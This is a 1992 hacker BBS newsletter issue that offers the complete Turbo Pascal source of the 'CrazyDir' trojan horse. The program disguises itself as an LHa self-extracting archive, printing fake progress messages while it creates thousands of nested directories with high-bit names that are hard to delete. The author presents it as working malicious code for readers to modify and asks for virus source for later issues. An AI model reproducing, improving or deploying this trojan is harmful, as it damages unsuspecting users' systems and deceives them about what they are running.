100 lines
4.2 KiB
Plaintext
100 lines
4.2 KiB
Plaintext
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û Û Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
|
|
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
|
º Vaginal and Anal Secretions Newsletter #0016 º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º Date Released : [05/22/92] Author: Phone Phreak º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º A WORKING Turbo Pascal 6.0 Trojan º
|
|
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
|
|
|
|
Well it seems all of us Turbo Pascal programmers are having the
|
|
hardest time finding malicious source code, so i decided to convert the 'c'
|
|
source code to the CRAZYDIR trojan over to pascal and modify it slightly to
|
|
improve it. If you want, feel free to mess around with it and change it all
|
|
around...
|
|
|
|
- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -
|
|
|
|
(************************************************)
|
|
(** **)
|
|
(** CrazyDir Trojan Horse **)
|
|
(** Turbo Pascal 6.0 Source Code **)
|
|
(** Converted From 'C' By Phone Phreak **)
|
|
(** **)
|
|
(** ------------------------------------------ **)
|
|
(** Well, I noticed that many of you have **)
|
|
(** probably heard of CRAZYDIR, a nice little **)
|
|
(** trojan horse that goes nuts making lots of **)
|
|
(** directories. For example, the trojan would **)
|
|
(** make 10 directories like '315135' and then **)
|
|
(** change to one and make 10 more and so on. **)
|
|
(** Well I have improved it a little bit, It **)
|
|
(** Will now use high-bit ascii characters to **)
|
|
(** make removing the directories even more of **)
|
|
(** bitch. I also added a few lines of code so **)
|
|
(** it looks like it is actually doing some- **)
|
|
(** thing. This program could use some work **)
|
|
(** but for the most part it works. It will **)
|
|
(** emulate a Self-Extracting .LZH file of **)
|
|
(** about 15k, So after a while the person **)
|
|
(** might get suspicious heh. On a fast system **)
|
|
(** they should get a few thousand directories **)
|
|
(** in a matter of seconds. **)
|
|
(** **)
|
|
(************************************************)
|
|
|
|
{$I-}
|
|
|
|
Uses Dos, Crt;
|
|
|
|
Var FuckDirs : Array[1..10] Of String[8];
|
|
Counter2 : Byte;
|
|
|
|
Procedure PickDirs;
|
|
|
|
Function ShitString : String;
|
|
Var Counter : Byte;
|
|
TempStr : String;
|
|
Begin
|
|
TempStr := '';
|
|
For Counter := 1 to 8 do TempStr := tempstr + Chr(Ord(Random(155)+100));
|
|
ShitString := TempStr;
|
|
End;
|
|
|
|
Var Dude : Byte;
|
|
|
|
Begin
|
|
For Dude := 1 to 10 do FuckDirs[Dude] := ShitString;
|
|
end;
|
|
|
|
Begin
|
|
Randomize;
|
|
Writeln('LHa''s SFX 2.06s (c)1991, Yoshi');
|
|
Writeln;
|
|
Write('LOADER.EXE: Uncompressing 15,301 Bytes .');
|
|
Repeat
|
|
Write('.');
|
|
PickDirs;
|
|
For Counter2 := 1 to 10 do MkDir(FuckDirs[Counter2]);
|
|
ChDir(FuckDirs[random(9)+1]);
|
|
Until 1 = 2; {This makes it go forever}
|
|
end.
|
|
|
|
- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -
|
|
|
|
That's that... Excuse the sloppy programming, but oh well, I was in
|
|
a hurry... Like I said, it needs some work, but it should give you a basic
|
|
idea. If you have written a great virus and want to put the source code in
|
|
a VaS textfile, you know where to reach us (PoT BBS)...
|
|
|
|
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
º For All The Latest VAS Files, Be Sure To Call : º
|
|
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
|
º Persistence Of Time BBS þ 2400 baud þ (313)462-1906 þ NUP = T.MESS01 º
|
|
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
|
|